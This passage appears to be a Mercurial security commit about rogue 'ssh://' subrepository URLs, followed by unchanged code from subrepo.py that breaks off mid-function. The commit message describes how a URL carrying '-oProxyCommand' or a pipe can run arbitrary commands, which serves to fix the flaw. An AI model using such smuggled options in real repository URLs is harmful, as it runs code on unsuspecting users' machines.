subrepo: add tests for svn rogue ssh urls (SEC)

'ssh://' has an exploit that will pass the url blindly to the ssh
command, allowing a malicious person to have a subrepo with
'-oProxyCommand' which could run arbitrary code on a user's machine. In
addition, at least on Windows, a pipe '|' is able to execute arbitrary
commands.

When this happens, let's throw a big abort into the user's face so that
they can inspect what's going on.

mercurial/subrepo.py

@@ -1,1995 +1,1999 b''
 # subrepo.py - sub-repository handling for Mercurial
 #
 # Copyright 2009-2010 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import copy
 import errno
 import hashlib
 import os
 import posixpath
 import re
 import stat
 import subprocess
 import sys
 import tarfile
 import xml.dom.minidom
 
 
 from .i18n import _
 from . import (
     cmdutil,
     config,
     encoding,
     error,
     exchange,
     filemerge,
     match as matchmod,
     node,
     pathutil,
     phases,
     pycompat,
     scmutil,
     util,
     vfs as vfsmod,
 )
 
 hg = None
 propertycache = util.propertycache
 
 nullstate = ('', '', 'empty')
 
 def _expandedabspath(path):
     '''
     get a path or url and if it is a path expand it and return an absolute path
     '''
     expandedpath = util.urllocalpath(util.expandpath(path))
     u = util.url(expandedpath)
     if not u.scheme:
         path = util.normpath(os.path.abspath(u.path))
     return path
 
 def _getstorehashcachename(remotepath):
     '''get a unique filename for the store hash cache of a remote repository'''
     return hashlib.sha1(_expandedabspath(remotepath)).hexdigest()[0:12]
 
 class SubrepoAbort(error.Abort):
     """Exception class used to avoid handling a subrepo error more than once"""
     def __init__(self, *args, **kw):
         self.subrepo = kw.pop('subrepo', None)
         self.cause = kw.pop('cause', None)
         error.Abort.__init__(self, *args, **kw)
 
 def annotatesubrepoerror(func):
     def decoratedmethod(self, *args, **kargs):
         try:
             res = func(self, *args, **kargs)
         except SubrepoAbort as ex:
             # This exception has already been handled
             raise ex
         except error.Abort as ex:
             subrepo = subrelpath(self)
             errormsg = str(ex) + ' ' + _('(in subrepository "%s")') % subrepo
             # avoid handling this exception by raising a SubrepoAbort exception
             raise SubrepoAbort(errormsg, hint=ex.hint, subrepo=subrepo,
                                cause=sys.exc_info())
         return res
     return decoratedmethod
 
 def state(ctx, ui):
     """return a state dict, mapping subrepo paths configured in .hgsub
     to tuple: (source from .hgsub, revision from .hgsubstate, kind
     (key in types dict))
     """
     p = config.config()
     repo = ctx.repo()
     def read(f, sections=None, remap=None):
         if f in ctx:
             try:
                 data = ctx[f].data()
             except IOError as err:
                 if err.errno != errno.ENOENT:
                     raise
                 # handle missing subrepo spec files as removed
                 ui.warn(_("warning: subrepo spec file \'%s\' not found\n") %
                         repo.pathto(f))
                 return
             p.parse(f, data, sections, remap, read)
         else:
             raise error.Abort(_("subrepo spec file \'%s\' not found") %
                              repo.pathto(f))
     if '.hgsub' in ctx:
         read('.hgsub')
 
     for path, src in ui.configitems('subpaths'):
         p.set('subpaths', path, src, ui.configsource('subpaths', path))
 
     rev = {}
     if '.hgsubstate' in ctx:
         try:
             for i, l in enumerate(ctx['.hgsubstate'].data().splitlines()):
                 l = l.lstrip()
                 if not l:
                     continue
                 try:
                     revision, path = l.split(" ", 1)
                 except ValueError:
                     raise error.Abort(_("invalid subrepository revision "
                                        "specifier in \'%s\' line %d")
                                      % (repo.pathto('.hgsubstate'), (i + 1)))
                 rev[path] = revision
         except IOError as err:
             if err.errno != errno.ENOENT:
                 raise
 
     def remap(src):
         for pattern, repl in p.items('subpaths'):
             # Turn r'C:\foo\bar' into r'C:\\foo\\bar' since re.sub
             # does a string decode.
             repl = util.escapestr(repl)
             # However, we still want to allow back references to go
             # through unharmed, so we turn r'\\1' into r'\1'. Again,
             # extra escapes are needed because re.sub string decodes.
             repl = re.sub(r'\\\\([0-9]+)', r'\\\1', repl)
             try:
                 src = re.sub(pattern, repl, src, 1)
             except re.error as e:
                 raise error.Abort(_("bad subrepository pattern in %s: %s")
                                  % (p.source('subpaths', pattern), e))
         return src
 
     state = {}
     for path, src in p[''].items():
         kind = 'hg'
         if src.startswith('['):
             if ']' not in src:
                 raise error.Abort(_('missing ] in subrepository source'))
             kind, src = src.split(']', 1)
             kind = kind[1:]
             src = src.lstrip() # strip any extra whitespace after ']'
 
         if not util.url(src).isabs():
             parent = _abssource(repo, abort=False)
             if parent:
                 parent = util.url(parent)
                 parent.path = posixpath.join(parent.path or '', src)
                 parent.path = posixpath.normpath(parent.path)
                 joined = str(parent)
                 # Remap the full joined path and use it if it changes,
                 # else remap the original source.
                 remapped = remap(joined)
                 if remapped == joined:
                     src = remap(src)
                 else:
                     src = remapped
 
         src = remap(src)
         state[util.pconvert(path)] = (src.strip(), rev.get(path, ''), kind)
 
     return state
 
 def writestate(repo, state):
     """rewrite .hgsubstate in (outer) repo with these subrepo states"""
     lines = ['%s %s\n' % (state[s][1], s) for s in sorted(state)
                                                 if state[s][1] != nullstate[1]]
     repo.wwrite('.hgsubstate', ''.join(lines), '')
 
 def submerge(repo, wctx, mctx, actx, overwrite, labels=None):
     """delegated from merge.applyupdates: merging of .hgsubstate file
     in working context, merging context and ancestor context"""
     if mctx == actx: # backwards?
         actx = wctx.p1()
     s1 = wctx.substate
     s2 = mctx.substate
     sa = actx.substate
     sm = {}
 
     repo.ui.debug("subrepo merge %s %s %s\n" % (wctx, mctx, actx))
 
     def debug(s, msg, r=""):
         if r:
             r = "%s:%s:%s" % r
         repo.ui.debug("  subrepo %s: %s %s\n" % (s, msg, r))
 
     promptssrc = filemerge.partextras(labels)
     for s, l in sorted(s1.iteritems()):
         prompts = None
         a = sa.get(s, nullstate)
         ld = l # local state with possible dirty flag for compares
         if wctx.sub(s).dirty():
             ld = (l[0], l[1] + "+")
         if wctx == actx: # overwrite
             a = ld
 
         prompts = promptssrc.copy()
         prompts['s'] = s
         if s in s2:
             r = s2[s]
             if ld == r or r == a: # no change or local is newer
                 sm[s] = l
                 continue
             elif ld == a: # other side changed
                 debug(s, "other changed, get", r)
                 wctx.sub(s).get(r, overwrite)
                 sm[s] = r
             elif ld[0] != r[0]: # sources differ
                 prompts['lo'] = l[0]
                 prompts['ro'] = r[0]
                 if repo.ui.promptchoice(
                     _(' subrepository sources for %(s)s differ\n'
                       'use (l)ocal%(l)s source (%(lo)s)'
                       ' or (r)emote%(o)s source (%(ro)s)?'
                       '$$ &Local $$ &Remote') % prompts, 0):
                     debug(s, "prompt changed, get", r)
                     wctx.sub(s).get(r, overwrite)
                     sm[s] = r
             elif ld[1] == a[1]: # local side is unchanged
                 debug(s, "other side changed, get", r)
                 wctx.sub(s).get(r, overwrite)
                 sm[s] = r
             else:
                 debug(s, "both sides changed")
                 srepo = wctx.sub(s)
                 prompts['sl'] = srepo.shortid(l[1])
                 prompts['sr'] = srepo.shortid(r[1])
                 option = repo.ui.promptchoice(
                     _(' subrepository %(s)s diverged (local revision: %(sl)s, '
                       'remote revision: %(sr)s)\n'
                       '(M)erge, keep (l)ocal%(l)s or keep (r)emote%(o)s?'
                       '$$ &Merge $$ &Local $$ &Remote')
                     % prompts, 0)
                 if option == 0:
                     wctx.sub(s).merge(r)
                     sm[s] = l
                     debug(s, "merge with", r)
                 elif option == 1:
                     sm[s] = l
                     debug(s, "keep local subrepo revision", l)
                 else:
                     wctx.sub(s).get(r, overwrite)
                     sm[s] = r
                     debug(s, "get remote subrepo revision", r)
         elif ld == a: # remote removed, local unchanged
             debug(s, "remote removed, remove")
             wctx.sub(s).remove()
         elif a == nullstate: # not present in remote or ancestor
             debug(s, "local added, keep")
             sm[s] = l
             continue
         else:
             if repo.ui.promptchoice(
                 _(' local%(l)s changed subrepository %(s)s'
                   ' which remote%(o)s removed\n'
                   'use (c)hanged version or (d)elete?'
                   '$$ &Changed $$ &Delete') % prompts, 0):
                 debug(s, "prompt remove")
                 wctx.sub(s).remove()
 
     for s, r in sorted(s2.items()):
         prompts = None
         if s in s1:
             continue
         elif s not in sa:
             debug(s, "remote added, get", r)
             mctx.sub(s).get(r)
             sm[s] = r
         elif r != sa[s]:
             prompts = promptssrc.copy()
             prompts['s'] = s
             if repo.ui.promptchoice(
                 _(' remote%(o)s changed subrepository %(s)s'
                   ' which local%(l)s removed\n'
                   'use (c)hanged version or (d)elete?'
                   '$$ &Changed $$ &Delete') % prompts, 0) == 0:
                 debug(s, "prompt recreate", r)
                 mctx.sub(s).get(r)
                 sm[s] = r
 
     # record merged .hgsubstate
     writestate(repo, sm)
     return sm
 
 def _updateprompt(ui, sub, dirty, local, remote):
     if dirty:
         msg = (_(' subrepository sources for %s differ\n'
                  'use (l)ocal source (%s) or (r)emote source (%s)?'
                  '$$ &Local $$ &Remote')
                % (subrelpath(sub), local, remote))
     else:
         msg = (_(' subrepository sources for %s differ (in checked out '
                  'version)\n'
                  'use (l)ocal source (%s) or (r)emote source (%s)?'
                  '$$ &Local $$ &Remote')
                % (subrelpath(sub), local, remote))
     return ui.promptchoice(msg, 0)
 
 def reporelpath(repo):
     """return path to this (sub)repo as seen from outermost repo"""
     parent = repo
     while util.safehasattr(parent, '_subparent'):
         parent = parent._subparent
     return repo.root[len(pathutil.normasprefix(parent.root)):]
 
 def subrelpath(sub):
     """return path to this subrepo as seen from outermost repo"""
     return sub._relpath
 
 def _abssource(repo, push=False, abort=True):
     """return pull/push path of repo - either based on parent repo .hgsub info
     or on the top repo config. Abort or return None if no source found."""
     if util.safehasattr(repo, '_subparent'):
         source = util.url(repo._subsource)
         if source.isabs():
             return str(source)
         source.path = posixpath.normpath(source.path)
         parent = _abssource(repo._subparent, push, abort=False)
         if parent:
             parent = util.url(util.pconvert(parent))
             parent.path = posixpath.join(parent.path or '', source.path)
             parent.path = posixpath.normpath(parent.path)
             return str(parent)
     else: # recursion reached top repo
         if util.safehasattr(repo, '_subtoppath'):
             return repo._subtoppath
         if push and repo.ui.config('paths', 'default-push'):
             return repo.ui.config('paths', 'default-push')
         if repo.ui.config('paths', 'default'):
             return repo.ui.config('paths', 'default')
         if repo.shared():
             # chop off the .hg component to get the default path form
             return os.path.dirname(repo.sharedpath)
     if abort:
         raise error.Abort(_("default path for subrepository not found"))
 
 def _sanitize(ui, vfs, ignore):
     for dirname, dirs, names in vfs.walk():
         for i, d in enumerate(dirs):
             if d.lower() == ignore:
                 del dirs[i]
                 break
         if vfs.basename(dirname).lower() != '.hg':
             continue
         for f in names:
             if f.lower() == 'hgrc':
                 ui.warn(_("warning: removing potentially hostile 'hgrc' "
                           "in '%s'\n") % vfs.join(dirname))
                 vfs.unlink(vfs.reljoin(dirname, f))
 
 def subrepo(ctx, path, allowwdir=False, allowcreate=True):
     """return instance of the right subrepo class for subrepo in path"""
     # subrepo inherently violates our import layering rules
     # because it wants to make repo objects from deep inside the stack
     # so we manually delay the circular imports to not break
     # scripts that don't use our demand-loading
     global hg
     from . import hg as h
     hg = h
 
     pathutil.pathauditor(ctx.repo().root)(path)
     state = ctx.substate[path]
     if state[2] not in types:
         raise error.Abort(_('unknown subrepo type %s') % state[2])
     if allowwdir:
         state = (state[0], ctx.subrev(path), state[2])
     return types[state[2]](ctx, path, state[:2], allowcreate)
 
 def nullsubrepo(ctx, path, pctx):
     """return an empty subrepo in pctx for the extant subrepo in ctx"""
     # subrepo inherently violates our import layering rules
     # because it wants to make repo objects from deep inside the stack
     # so we manually delay the circular imports to not break
     # scripts that don't use our demand-loading
     global hg
     from . import hg as h
     hg = h
 
     pathutil.pathauditor(ctx.repo().root)(path)
     state = ctx.substate[path]
     if state[2] not in types:
         raise error.Abort(_('unknown subrepo type %s') % state[2])
     subrev = ''
     if state[2] == 'hg':
         subrev = "0" * 40
     return types[state[2]](pctx, path, (state[0], subrev), True)
 
 def newcommitphase(ui, ctx):
     commitphase = phases.newcommitphase(ui)
     substate = getattr(ctx, "substate", None)
     if not substate:
         return commitphase
     check = ui.config('phases', 'checksubrepos')
     if check not in ('ignore', 'follow', 'abort'):
         raise error.Abort(_('invalid phases.checksubrepos configuration: %s')
                          % (check))
     if check == 'ignore':
         return commitphase
     maxphase = phases.public
     maxsub = None
     for s in sorted(substate):
         sub = ctx.sub(s)
         subphase = sub.phase(substate[s][1])
         if maxphase < subphase:
             maxphase = subphase
             maxsub = s
     if commitphase < maxphase:
         if check == 'abort':
             raise error.Abort(_("can't commit in %s phase"
                                " conflicting %s from subrepository %s") %
                              (phases.phasenames[commitphase],
                               phases.phasenames[maxphase], maxsub))
         ui.warn(_("warning: changes are committed in"
                   " %s phase from subrepository %s\n") %
                 (phases.phasenames[maxphase], maxsub))
         return maxphase
     return commitphase
 
 # subrepo classes need to implement the following abstract class:
 
 class abstractsubrepo(object):
 
     def __init__(self, ctx, path):
         """Initialize abstractsubrepo part
 
         ``ctx`` is the context referring this subrepository in the
         parent repository.
 
         ``path`` is the path to this subrepository as seen from
         innermost repository.
         """
         self.ui = ctx.repo().ui
         self._ctx = ctx
         self._path = path
 
     def addwebdirpath(self, serverpath, webconf):
         """Add the hgwebdir entries for this subrepo, and any of its subrepos.
 
         ``serverpath`` is the path component of the URL for this repo.
 
         ``webconf`` is the dictionary of hgwebdir entries.
         """
         pass
 
     def storeclean(self, path):
         """
         returns true if the repository has not changed since it was last
         cloned from or pushed to a given repository.
         """
         return False
 
     def dirty(self, ignoreupdate=False, missing=False):
         """returns true if the dirstate of the subrepo is dirty or does not
         match current stored state. If ignoreupdate is true, only check
         whether the subrepo has uncommitted changes in its dirstate.  If missing
         is true, check for deleted files.
         """
         raise NotImplementedError
 
     def dirtyreason(self, ignoreupdate=False, missing=False):
         """return reason string if it is ``dirty()``
 
         Returned string should have enough information for the message
         of exception.
 
         This returns None, otherwise.
         """
         if self.dirty(ignoreupdate=ignoreupdate, missing=missing):
             return _('uncommitted changes in subrepository "%s"'
                      ) % subrelpath(self)
 
     def bailifchanged(self, ignoreupdate=False, hint=None):
         """raise Abort if subrepository is ``dirty()``
         """
         dirtyreason = self.dirtyreason(ignoreupdate=ignoreupdate,
                                        missing=True)
         if dirtyreason:
             raise error.Abort(dirtyreason, hint=hint)
 
     def basestate(self):
         """current working directory base state, disregarding .hgsubstate
         state and working directory modifications"""
         raise NotImplementedError
 
     def checknested(self, path):
         """check if path is a subrepository within this repository"""
         return False
 
     def commit(self, text, user, date):
         """commit the current changes to the subrepo with the given
         log message. Use given user and date if possible. Return the
         new state of the subrepo.
         """
         raise NotImplementedError
 
     def phase(self, state):
         """returns phase of specified state in the subrepository.
         """
         return phases.public
 
     def remove(self):
         """remove the subrepo
 
         (should verify the dirstate is not dirty first)
         """
         raise NotImplementedError
 
     def get(self, state, overwrite=False):
         """run whatever commands are needed to put the subrepo into
         this state
         """
         raise NotImplementedError
 
     def merge(self, state):
         """merge currently-saved state with the new state."""
         raise NotImplementedError
 
     def push(self, opts):
         """perform whatever action is analogous to 'hg push'
 
         This may be a no-op on some systems.
         """
         raise NotImplementedError
 
     def add(self, ui, match, prefix, explicitonly, **opts):
         return []
 
     def addremove(self, matcher, prefix, opts, dry_run, similarity):
         self.ui.warn("%s: %s" % (prefix, _("addremove is not supported")))
         return 1
 
     def cat(self, match, fm, fntemplate, prefix, **opts):
         return 1
 
     def status(self, rev2, **opts):
         return scmutil.status([], [], [], [], [], [], [])
 
     def diff(self, ui, diffopts, node2, match, prefix, **opts):
         pass
 
     def outgoing(self, ui, dest, opts):
         return 1
 
     def incoming(self, ui, source, opts):
         return 1
 
     def files(self):
         """return filename iterator"""
         raise NotImplementedError
 
     def filedata(self, name, decode):
         """return file data, optionally passed through repo decoders"""
         raise NotImplementedError
 
     def fileflags(self, name):
         """return file flags"""
         return ''
 
     def getfileset(self, expr):
         """Resolve the fileset expression for this repo"""
         return set()
 
     def printfiles(self, ui, m, fm, fmt, subrepos):
         """handle the files command for this subrepo"""
         return 1
 
     def archive(self, archiver, prefix, match=None, decode=True):
         if match is not None:
             files = [f for f in self.files() if match(f)]
         else:
             files = self.files()
         total = len(files)
         relpath = subrelpath(self)
         self.ui.progress(_('archiving (%s)') % relpath, 0,
                          unit=_('files'), total=total)
         for i, name in enumerate(files):
             flags = self.fileflags(name)
             mode = 'x' in flags and 0o755 or 0o644
             symlink = 'l' in flags
             archiver.addfile(prefix + self._path + '/' + name,
                              mode, symlink, self.filedata(name, decode))
             self.ui.progress(_('archiving (%s)') % relpath, i + 1,
                              unit=_('files'), total=total)
         self.ui.progress(_('archiving (%s)') % relpath, None)
         return total
 
     def walk(self, match):
         '''
         walk recursively through the directory tree, finding all files
         matched by the match function
         '''
         pass
 
     def forget(self, match, prefix):
         return ([], [])
 
     def removefiles(self, matcher, prefix, after, force, subrepos, warnings):
         """remove the matched files from the subrepository and the filesystem,
         possibly by force and/or after the file has been removed from the
         filesystem.  Return 0 on success, 1 on any warning.
         """
         warnings.append(_("warning: removefiles not implemented (%s)")
                         % self._path)
         return 1
 
     def revert(self, substate, *pats, **opts):
         self.ui.warn(_('%s: reverting %s subrepos is unsupported\n') \
             % (substate[0], substate[2]))
         return []
 
     def shortid(self, revid):
         return revid
 
     def verify(self):
         '''verify the integrity of the repository.  Return 0 on success or
         warning, 1 on any error.
         '''
         return 0
 
     @propertycache
     def wvfs(self):
         """return vfs to access the working directory of this subrepository
         """
         return vfsmod.vfs(self._ctx.repo().wvfs.join(self._path))
 
     @propertycache
     def _relpath(self):
         """return path to this subrepository as seen from outermost repository
         """
         return self.wvfs.reljoin(reporelpath(self._ctx.repo()), self._path)
 
 class hgsubrepo(abstractsubrepo):
     def __init__(self, ctx, path, state, allowcreate):
         super(hgsubrepo, self).__init__(ctx, path)
         self._state = state
         r = ctx.repo()
         root = r.wjoin(path)
         create = allowcreate and not r.wvfs.exists('%s/.hg' % path)
         self._repo = hg.repository(r.baseui, root, create=create)
 
         # Propagate the parent's --hidden option
         if r is r.unfiltered():
             self._repo = self._repo.unfiltered()
 
         self.ui = self._repo.ui
         for s, k in [('ui', 'commitsubrepos')]:
             v = r.ui.config(s, k)
             if v:
                 self.ui.setconfig(s, k, v, 'subrepo')
         # internal config: ui._usedassubrepo
         self.ui.setconfig('ui', '_usedassubrepo', 'True', 'subrepo')
         self._initrepo(r, state[0], create)
 
     @annotatesubrepoerror
     def addwebdirpath(self, serverpath, webconf):
         cmdutil.addwebdirpath(self._repo, subrelpath(self), webconf)
 
     def storeclean(self, path):
         with self._repo.lock():
             return self._storeclean(path)
 
     def _storeclean(self, path):
         clean = True
         itercache = self._calcstorehash(path)
         for filehash in self._readstorehashcache(path):
             if filehash != next(itercache, None):
                 clean = False
                 break
         if clean:
             # if not empty:
             # the cached and current pull states have a different size
             clean = next(itercache, None) is None
         return clean
 
     def _calcstorehash(self, remotepath):
         '''calculate a unique "store hash"
 
         This method is used to to detect when there are changes that may
         require a push to a given remote path.'''
         # sort the files that will be hashed in increasing (likely) file size
         filelist = ('bookmarks', 'store/phaseroots', 'store/00changelog.i')
         yield '# %s\n' % _expandedabspath(remotepath)
         vfs = self._repo.vfs
         for relname in filelist:
             filehash = hashlib.sha1(vfs.tryread(relname)).hexdigest()
             yield '%s = %s\n' % (relname, filehash)
 
     @propertycache
     def _cachestorehashvfs(self):
         return vfsmod.vfs(self._repo.vfs.join('cache/storehash'))
 
     def _readstorehashcache(self, remotepath):
         '''read the store hash cache for a given remote repository'''
         cachefile = _getstorehashcachename(remotepath)
         return self._cachestorehashvfs.tryreadlines(cachefile, 'r')
 
     def _cachestorehash(self, remotepath):
         '''cache the current store hash
 
         Each remote repo requires its own store hash cache, because a subrepo
         store may be "clean" versus a given remote repo, but not versus another
         '''
         cachefile = _getstorehashcachename(remotepath)
         with self._repo.lock():
             storehash = list(self._calcstorehash(remotepath))
             vfs = self._cachestorehashvfs
             vfs.writelines(cachefile, storehash, mode='w', notindexed=True)
 
     def _getctx(self):
         '''fetch the context for this subrepo revision, possibly a workingctx
         '''
         if self._ctx.rev() is None:
             return self._repo[None]  # workingctx if parent is workingctx
         else:
             rev = self._state[1]
             return self._repo[rev]
 
     @annotatesubrepoerror
     def _initrepo(self, parentrepo, source, create):
         self._repo._subparent = parentrepo
         self._repo._subsource = source
 
         if create:
             lines = ['[paths]\n']
 
             def addpathconfig(key, value):
                 if value:
                     lines.append('%s = %s\n' % (key, value))
                     self.ui.setconfig('paths', key, value, 'subrepo')
 
             defpath = _abssource(self._repo, abort=False)
             defpushpath = _abssource(self._repo, True, abort=False)
             addpathconfig('default', defpath)
             if defpath != defpushpath:
                 addpathconfig('default-push', defpushpath)
 
             fp = self._repo.vfs("hgrc", "w", text=True)
             try:
                 fp.write(''.join(lines))
             finally:
                 fp.close()
 
     @annotatesubrepoerror
     def add(self, ui, match, prefix, explicitonly, **opts):
         return cmdutil.add(ui, self._repo, match,
                            self.wvfs.reljoin(prefix, self._path),
                            explicitonly, **opts)
 
     @annotatesubrepoerror
     def addremove(self, m, prefix, opts, dry_run, similarity):
         # In the same way as sub directories are processed, once in a subrepo,
         # always entry any of its subrepos.  Don't corrupt the options that will
         # be used to process sibling subrepos however.
         opts = copy.copy(opts)
         opts['subrepos'] = True
         return scmutil.addremove(self._repo, m,
                                  self.wvfs.reljoin(prefix, self._path), opts,
                                  dry_run, similarity)
 
     @annotatesubrepoerror
     def cat(self, match, fm, fntemplate, prefix, **opts):
         rev = self._state[1]
         ctx = self._repo[rev]
         return cmdutil.cat(self.ui, self._repo, ctx, match, fm, fntemplate,
                            prefix, **opts)
 
     @annotatesubrepoerror
     def status(self, rev2, **opts):
         try:
             rev1 = self._state[1]
             ctx1 = self._repo[rev1]
             ctx2 = self._repo[rev2]
             return self._repo.status(ctx1, ctx2, **opts)
         except error.RepoLookupError as inst:
             self.ui.warn(_('warning: error "%s" in subrepository "%s"\n')
                          % (inst, subrelpath(self)))
             return scmutil.status([], [], [], [], [], [], [])
 
     @annotatesubrepoerror
     def diff(self, ui, diffopts, node2, match, prefix, **opts):
         try:
             node1 = node.bin(self._state[1])
             # We currently expect node2 to come from substate and be
             # in hex format
             if node2 is not None:
                 node2 = node.bin(node2)
             cmdutil.diffordiffstat(ui, self._repo, diffopts,
                                    node1, node2, match,
                                    prefix=posixpath.join(prefix, self._path),
                                    listsubrepos=True, **opts)
         except error.RepoLookupError as inst:
             self.ui.warn(_('warning: error "%s" in subrepository "%s"\n')
                           % (inst, subrelpath(self)))
 
     @annotatesubrepoerror
     def archive(self, archiver, prefix, match=None, decode=True):
         self._get(self._state + ('hg',))
         total = abstractsubrepo.archive(self, archiver, prefix, match)
         rev = self._state[1]
         ctx = self._repo[rev]
         for subpath in ctx.substate:
             s = subrepo(ctx, subpath, True)
             submatch = matchmod.subdirmatcher(subpath, match)
             total += s.archive(archiver, prefix + self._path + '/', submatch,
                                decode)
         return total
 
     @annotatesubrepoerror
     def dirty(self, ignoreupdate=False, missing=False):
         r = self._state[1]
         if r == '' and not ignoreupdate: # no state recorded
             return True
         w = self._repo[None]
         if r != w.p1().hex() and not ignoreupdate:
             # different version checked out
             return True
         return w.dirty(missing=missing) # working directory changed
 
     def basestate(self):
         return self._repo['.'].hex()
 
     def checknested(self, path):
         return self._repo._checknested(self._repo.wjoin(path))
 
     @annotatesubrepoerror
     def commit(self, text, user, date):
         # don't bother committing in the subrepo if it's only been
         # updated
         if not self.dirty(True):
             return self._repo['.'].hex()
         self.ui.debug("committing subrepo %s\n" % subrelpath(self))
         n = self._repo.commit(text, user, date)
         if not n:
             return self._repo['.'].hex() # different version checked out
         return node.hex(n)
 
     @annotatesubrepoerror
     def phase(self, state):
         return self._repo[state].phase()
 
     @annotatesubrepoerror
     def remove(self):
         # we can't fully delete the repository as it may contain
         # local-only history
         self.ui.note(_('removing subrepo %s\n') % subrelpath(self))
         hg.clean(self._repo, node.nullid, False)
 
     def _get(self, state):
         source, revision, kind = state
         if revision in self._repo.unfiltered():
             return True
         self._repo._subsource = source
         srcurl = _abssource(self._repo)
         other = hg.peer(self._repo, {}, srcurl)
         if len(self._repo) == 0:
             self.ui.status(_('cloning subrepo %s from %s\n')
                            % (subrelpath(self), srcurl))
             parentrepo = self._repo._subparent
             # use self._repo.vfs instead of self.wvfs to remove .hg only
             self._repo.vfs.rmtree()
             other, cloned = hg.clone(self._repo._subparent.baseui, {},
                                      other, self._repo.root,
                                      update=False)
             self._repo = cloned.local()
             self._initrepo(parentrepo, source, create=True)
             self._cachestorehash(srcurl)
         else:
             self.ui.status(_('pulling subrepo %s from %s\n')
                            % (subrelpath(self), srcurl))
             cleansub = self.storeclean(srcurl)
             exchange.pull(self._repo, other)
             if cleansub:
                 # keep the repo clean after pull
                 self._cachestorehash(srcurl)
         return False
 
     @annotatesubrepoerror
     def get(self, state, overwrite=False):
         inrepo = self._get(state)
         source, revision, kind = state
         repo = self._repo
         repo.ui.debug("getting subrepo %s\n" % self._path)
         if inrepo:
             urepo = repo.unfiltered()
             ctx = urepo[revision]
             if ctx.hidden():
                 urepo.ui.warn(
                     _('revision %s in subrepository "%s" is hidden\n') \
                     % (revision[0:12], self._path))
                 repo = urepo
         hg.updaterepo(repo, revision, overwrite)
 
     @annotatesubrepoerror
     def merge(self, state):
         self._get(state)
         cur = self._repo['.']
         dst = self._repo[state[1]]
         anc = dst.ancestor(cur)
 
         def mergefunc():
             if anc == cur and dst.branch() == cur.branch():
                 self.ui.debug('updating subrepository "%s"\n'
                               % subrelpath(self))
                 hg.update(self._repo, state[1])
             elif anc == dst:
                 self.ui.debug('skipping subrepository "%s"\n'
                               % subrelpath(self))
             else:
                 self.ui.debug('merging subrepository "%s"\n' % subrelpath(self))
                 hg.merge(self._repo, state[1], remind=False)
 
         wctx = self._repo[None]
         if self.dirty():
             if anc != dst:
                 if _updateprompt(self.ui, self, wctx.dirty(), cur, dst):
                     mergefunc()
             else:
                 mergefunc()
         else:
             mergefunc()
 
     @annotatesubrepoerror
     def push(self, opts):
         force = opts.get('force')
         newbranch = opts.get('new_branch')
         ssh = opts.get('ssh')
 
         # push subrepos depth-first for coherent ordering
         c = self._repo['']
         subs = c.substate # only repos that are committed
         for s in sorted(subs):
             if c.sub(s).push(opts) == 0:
                 return False
 
         dsturl = _abssource(self._repo, True)
         if not force:
             if self.storeclean(dsturl):
                 self.ui.status(
                     _('no changes made to subrepo %s since last push to %s\n')
                     % (subrelpath(self), dsturl))
                 return None
         self.ui.status(_('pushing subrepo %s to %s\n') %
             (subrelpath(self), dsturl))
         other = hg.peer(self._repo, {'ssh': ssh}, dsturl)
         res = exchange.push(self._repo, other, force, newbranch=newbranch)
 
         # the repo is now clean
         self._cachestorehash(dsturl)
         return res.cgresult
 
     @annotatesubrepoerror
     def outgoing(self, ui, dest, opts):
         if 'rev' in opts or 'branch' in opts:
             opts = copy.copy(opts)
             opts.pop('rev', None)
             opts.pop('branch', None)
         return hg.outgoing(ui, self._repo, _abssource(self._repo, True), opts)
 
     @annotatesubrepoerror
     def incoming(self, ui, source, opts):
         if 'rev' in opts or 'branch' in opts:
             opts = copy.copy(opts)
             opts.pop('rev', None)
             opts.pop('branch', None)
         return hg.incoming(ui, self._repo, _abssource(self._repo, False), opts)
 
     @annotatesubrepoerror
     def files(self):
         rev = self._state[1]
         ctx = self._repo[rev]
         return ctx.manifest().keys()
 
     def filedata(self, name, decode):
         rev = self._state[1]
         data = self._repo[rev][name].data()
         if decode:
             data = self._repo.wwritedata(name, data)
         return data
 
     def fileflags(self, name):
         rev = self._state[1]
         ctx = self._repo[rev]
         return ctx.flags(name)
 
     @annotatesubrepoerror
     def printfiles(self, ui, m, fm, fmt, subrepos):
         # If the parent context is a workingctx, use the workingctx here for
         # consistency.
         if self._ctx.rev() is None:
             ctx = self._repo[None]
         else:
             rev = self._state[1]
             ctx = self._repo[rev]
         return cmdutil.files(ui, ctx, m, fm, fmt, subrepos)
 
     @annotatesubrepoerror
     def getfileset(self, expr):
         if self._ctx.rev() is None:
             ctx = self._repo[None]
         else:
             rev = self._state[1]
             ctx = self._repo[rev]
 
         files = ctx.getfileset(expr)
 
         for subpath in ctx.substate:
             sub = ctx.sub(subpath)
 
             try:
                 files.extend(subpath + '/' + f for f in sub.getfileset(expr))
             except error.LookupError:
                 self.ui.status(_("skipping missing subrepository: %s\n")
                                % self.wvfs.reljoin(reporelpath(self), subpath))
         return files
 
     def walk(self, match):
         ctx = self._repo[None]
         return ctx.walk(match)
 
     @annotatesubrepoerror
     def forget(self, match, prefix):
         return cmdutil.forget(self.ui, self._repo, match,
                               self.wvfs.reljoin(prefix, self._path), True)
 
     @annotatesubrepoerror
     def removefiles(self, matcher, prefix, after, force, subrepos, warnings):
         return cmdutil.remove(self.ui, self._repo, matcher,
                               self.wvfs.reljoin(prefix, self._path),
                               after, force, subrepos)
 
     @annotatesubrepoerror
     def revert(self, substate, *pats, **opts):
         # reverting a subrepo is a 2 step process:
         # 1. if the no_backup is not set, revert all modified
         #    files inside the subrepo
         # 2. update the subrepo to the revision specified in
         #    the corresponding substate dictionary
         self.ui.status(_('reverting subrepo %s\n') % substate[0])
         if not opts.get('no_backup'):
             # Revert all files on the subrepo, creating backups
             # Note that this will not recursively revert subrepos
             # We could do it if there was a set:subrepos() predicate
             opts = opts.copy()
             opts['date'] = None
             opts['rev'] = substate[1]
 
             self.filerevert(*pats, **opts)
 
         # Update the repo to the revision specified in the given substate
         if not opts.get('dry_run'):
             self.get(substate, overwrite=True)
 
     def filerevert(self, *pats, **opts):
         ctx = self._repo[opts['rev']]
         parents = self._repo.dirstate.parents()
         if opts.get('all'):
             pats = ['set:modified()']
         else:
             pats = []
         cmdutil.revert(self.ui, self._repo, ctx, parents, *pats, **opts)
 
     def shortid(self, revid):
         return revid[:12]
 
     def verify(self):
         try:
             rev = self._state[1]
             ctx = self._repo.unfiltered()[rev]
             if ctx.hidden():
                 # Since hidden revisions aren't pushed/pulled, it seems worth an
                 # explicit warning.
                 ui = self._repo.ui
